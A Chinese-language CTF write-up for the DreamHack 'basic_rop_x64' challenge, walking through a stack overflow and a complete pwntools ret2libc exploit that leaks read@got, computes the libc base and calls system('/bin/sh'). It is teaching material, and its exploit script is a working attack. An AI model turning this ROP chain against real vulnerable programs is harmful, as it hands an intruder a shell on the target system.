0x00 代码

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>void alarm_handler() {puts("TIME OUT");exit(-1);
}void initialize() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);signal(SIGALRM, alarm_handler);alarm(30);
}int main(int argc, char *argv[]) {char buf[0x40] = {};initialize();read(0, buf, 0x400);write(1, buf, sizeof(buf));return 0;
}

题目链接

0x01 代码状态

$ checksec ./basic_rop_x64
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/basic_rop_x64'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)

可以看到这次是64位环境下的问题,而32位和64位最大的不同就是函数调用时采用的是不同的规则,64位是先将先将数据存入寄存器,如果寄存器不够用再调用stack。32位则是直接利用stack来保存必要的数据。

寄存器如下
rax -> 通常用于储存函数调用返回的结果
rbx
rcx -> 第4个参数
rdx -> 第3个参数
rsi -> 传递函数第2个参数
rdi -> 传递函数第1个参数
-------------------------------------------- 通用寄存器
rbp -> 当前栈帧起始位置,通常指向栈底
rsp -> 堆栈指针寄存器,通常指向栈顶
r8 -> 第5个参数
r9 -> 第6个参数
r10
r11

比较特殊的
rip -> 存放下一条指令的偏移地址
rsp -> 存放当前栈帧的栈顶偏移地址
rbp -> 存放当前栈帧的栈底偏移地址
rax -> 通用寄存器,存放返回值

另外,可以发现这段代码没有开启canary和PIE,只开启了NX。这意味这我们很难使用shellcode的方式得到shell,所以还是使用ROP的方式进行。由于程序没有开启RELRO,所以GOT表是有write权限的,意味着我们也可以使用GOT overwrite方法来取得shell。这里先使用计算system函数并且直接呼出的办法进行ROP。

0x02 分析

1. system函数没有记录

和上一个题目不同,之前没有调用过system函数(大部分时候也不会),所以我们要想办法求出system函数的地址。至于"/bin/sh"要怎么得到,需要思考一下。

2. 存在overflow漏洞

0x03 设计Exploit

1. Overflow

通过gdb找到 buf 的地址

   0x00000000004007e7 <+45>:  lea    rax,[rbp-0x40]   <---在这里0x00000000004007eb <+49>:  mov    edx,0x4000x00000000004007f0 <+54>:    mov    rsi,rax0x00000000004007f3 <+57>:  mov    edi,0x00x00000000004007f8 <+62>:  call   0x4005f0 <read@plt>

2. 求system函数地址

题目给了一个库"libc.so.6",而我们需要的system函数也在这个库中。不只是system函数,这个库中还包含了read, printf, write等一系列函数。这里需要注意一点,库在映射到内存的过程中是以整体的形式进行,也就是说虽然不清楚库的位置,但是库内函数的距离是不会随着映射而改变的。所以需要利用这一点,通过其他函数来求出库的偏移量,从而计算出system函数的地址。

3. 返回main,用第二次read函数执行system(“/bin/sh”)

因为这个程序只有一次使用read函数的机会,所以我们发送一段payload计算出system函数地址之后要返回main函数。重新执行第二个payload,最后通过使用system和"/bin/sh"来获得shell。

0x04 编写Exploit

1. Overflow

在read函数调用时,输入0x40+0x8(sfp)来达到ret地址。

2. 计算system函数地址

源代码中调用过read函数,也就是说read函数被记录在got表中的,我们可以利用read函数在got表中的地址减去在库中read函数的地址得到库整体的偏移量。但是首先要找到一个合适的函数输出read@got。用 info func 指令查看程序包含的函数。

$ info func
0x0000000000400590  _init
0x00000000004005c0  puts@plt          <---这里
0x00000000004005d0  write@plt
0x00000000004005e0  alarm@plt
0x00000000004005f0  read@plt
0x0000000000400600  __libc_start_main@plt
0x0000000000400610  signal@plt
0x0000000000400620  setvbuf@plt
0x0000000000400630  exit@plt
0x0000000000400640  __gmon_start__@plt
0x0000000000400650  _start
0x0000000000400680  deregister_tm_clones
0x00000000004006c0  register_tm_clones
0x0000000000400700  __do_global_dtors_aux
0x0000000000400720  frame_dummy
0x0000000000400746  alarm_handler
0x000000000040075e  initialize
0x00000000004007ba  main             <---这里
0x0000000000400820  __libc_csu_init
0x0000000000400890  __libc_csu_fini
0x0000000000400894  _fini

可以用于输出的函数有 write 和 puts 两个,但是write需要三个变量才能调用,而puts只用一个变量就可以,比较方便。所以我们用puts函数对read@got进行输出。

write(int fd,const void*buf,size_t count);
puts(const char *string);

决定了需要用到的函数之后,在info func,可以找到puts@plt,main。在read函数之后设置断点,再输入got查看got表,找到read@got的地址。

pwndbg> gotGOT protection: Partial RELRO | GOT functions: 8[0x601018] puts@GLIBC_2.2.5 -> 0x4005c6 (puts@plt+6) ◂— push   0 /* 'h' */
[0x601020] write@GLIBC_2.2.5 -> 0x4005d6 (write@plt+6) ◂— push   1
[0x601028] alarm@GLIBC_2.2.5 -> 0x7ffff7ea5d90 (alarm) ◂— endbr64
[0x601030] read@GLIBC_2.2.5 -> 0x7ffff7ed0fc0 (read) ◂— endbr64             <---这里
[0x601038] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7de6f90 (__libc_start_main) ◂— endbr64
[0x601040] signal@GLIBC_2.2.5 -> 0x7ffff7e05f00 (ssignal) ◂— endbr64
[0x601048] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e47ce0 (setvbuf) ◂— endbr64
[0x601050] exit@GLIBC_2.2.5 -> 0x400636 (exit@plt+6) ◂— push   7

最后一步就是需要找到我们需要的gadget

$ ROPgadget --binary ./basic_rop_x64 --re "pop rdi"
Gadgets information
============================================================
0x0000000000400883 : pop rdi ; retUnique gadgets found: 1

第一段payload

from pwn import *
p = process("./basic_rop_x64")libc = ELF('./libc.so.6')main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030#overflow
payload = b'A'*0x48#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)p.send(payload)sleep(1)#[2]libc base and system
print(p.recvuntil('A'*0x40))# 通过查看库中函数的地址可以知道,前两位都是由\x00构成
read = u64(p.recvn(6)+b'\x00\x00')
print("leak --> "+ str(hex(read)))lb = read - libc.symbols['read']
print("libc base --> "+ str(hex(lb)))system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+ str(hex(binsh)))

看一下运行的结果

$ python ex_x64.py
[+] Starting local process './basic_rop_x64': pid 2495
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/libc.so.6'Arch:     i386-32-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled
ex_x64.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesprint(p.recvuntil('A'*0x40))
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
leak --> 0x7fae68666fc0
libc base --> 0x7fae68592c70
system --> 0x7fae685cd5b0
binsh --> 0x7fae686ebc9b

第二段payload

overflow之后返回system(“/bin/sh”)从而得到shell。

#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)p.send(payload2)
p.interactive()

0x05 Exploit

from pwn import *
p = process("./basic_rop_x64")libc = ELF('./libc.so.6')main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030#overflow
payload = b'A'*0x48#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)p.send(payload)sleep(1)#libc base
print(p.recvuntil('A'*0x40))read = u64(p.recvn(6)+b'\x00\x00')
print("leak --> "+str(hex(read)))lb = read - libc.symbols['read']
print("libc base --> "+str(hex(lb)))system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+str(hex(binsh)))#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)p.send(payload2)
p.interactive()

有不到位的或是错误的地方,请直接评论或者私信我。

参考资料
Exploit思路
write函数解析
puts函数解析

【How2Pwn】DreamHack x64下的ROP问题相关推荐

  1. [系统底层] x86和x64下ssdt的差异

    2019独角兽企业重金招聘Python工程师标准>>> X86和x64下ssdt的差异 首先介绍一下SSDT相关的结构体 PVOID无类型指针,x86下32位,x64下64位 结构体 ...

  2. Ubuntu 12.04 x64 下安装 GStreamer+FFmpeg+Opencv

    Ubuntu 12.04 x64 下安装 GStreamer+FFmpeg+Opencv 近期,因为安装这三个开发软件,搞编译环境,上网找方法,足足耗费了我一个多星期的时间,现在将经验记录一下,在虚拟 ...

  3. 在X32与X64下,每种数据类型占用的字节数

    在X32与X64下,每种数据类型占用的字节数分别如下: X32                             X64 指针                                  ...

  4. win10 x64下安装oracle 12c出现[INS-30131]报错的解决方案

    win10 x64下安装oracle 12c出现[INS-30131]报错的解决方案 参考文章: (1)win10 x64下安装oracle 12c出现[INS-30131]报错的解决方案 (2)ht ...

  5. x64下进程保护HOOK

    目录 x64(32)下的进程保护回调. 一丶进程保护线程保护 1.简介以及原理 1.2 代码 1.3注意的问题 二丶丶回调函数写法 2.1 遇到的问题. 2.2 回调代码 x64(32)下的进程保护回 ...

  6. python access violation_Python x64下ctypes动态链接库出现access violation的原因分析

    access violation error in Python x64 when using ctypes (caused by pointer) 问题描述 似乎这个问题仅存在于Windows下Py ...

  7. win7 x64下安装python-opencv 及 “not a supported wheel”解决

    Windows7 x64下在已经完成安装pip和Python(3.5.2)后安装opencv的步骤: (1)下载opencv python安装文件 下载地址:http://www.lfd.uci.ed ...

  8. (转)完美解决中国工商银行第一代网银U盾(NETPASS)在WIN7 x64下的使用问题

    http://bbs.pcbeta.com/viewthread.php?tid=591837 http://bbs.pcbeta.com/archiver/tid-591837.html 远景论坛  ...

  9. VS2015默认不支持x64下__asm{}内联汇编的解决方案(含资源共享)

    截至目前(2018年底2019年初),本人windows平台下的各种开发所用的IDE主要就是VS2015.虽然VS2017已经出来一年多了,本人也自己使用过一段时间,但没发现特别大的亮点,又考虑到整个 ...

最新文章

  1. python有时候没有智能提示_python没有报错提示
  2. 杨强 : 迁移学习——人工智能的最后一公里
  3. 万变不离其中----SQL必记语法
  4. python爬虫技术可以干什么-Python实战:网络爬虫都能干什么?
  5. php 查询数据库 刷新,这个每次刷新都要去数据库里面查询一遍吗?
  6. 服务器系统2012怎么多人连接,windows2012服务器TCP连接数
  7. 常用于评价回归模型优劣的统计量包括( )。_第四十一讲 R-判断回归模型性能的指标...
  8. Java抽象类、接口、类的特殊成员
  9. 操作系统中死锁的概念
  10. linux安全基线检查,CentOS Linux 7安全基线检查
  11. 蓝桥杯 ADV-177算法提高 理财计划
  12. 毕设+电路板(BTN7960驱动电路+LM2596/AMS117稳压电路+蜂鸣器+STM32F103C8T6最小系统电路)
  13. 小程序公众图标素材6113个菜单栏素材
  14. 古体字与简体字对照表_中文簡体字与繁体字对照表
  15. 常见的直流稳压电源电容有哪些?及其详细介绍
  16. LaTex 插入超链接
  17. 这就是2020:全球云计算十一大年度话题盘点
  18. VSCode远程连接ubuntu服务器
  19. 数据库外键级联修改删除
  20. jmeter测试之参数Shar256加密

热门文章

  1. 注册.io域名有什么好处?
  2. Synology NAS多媒体(Photo Station管理照片)
  3. 辅城坳科目三路线口诀
  4. CentOS安装Elasticsearch_IK分词器拼音分词器_部署kibana_部署es集群
  5. 在微信公众号中添加外部的链接图文教程
  6. 计算机与医药信息学,浙江大学药物信息学研究所
  7. STM32CubeIDE移植标准库
  8. 综述:如何构建交通领域的基于图的深度学习架构
  9. python根据输入的长和宽创建矩形
  10. 装逼第二弹——Laplace变换的前世今生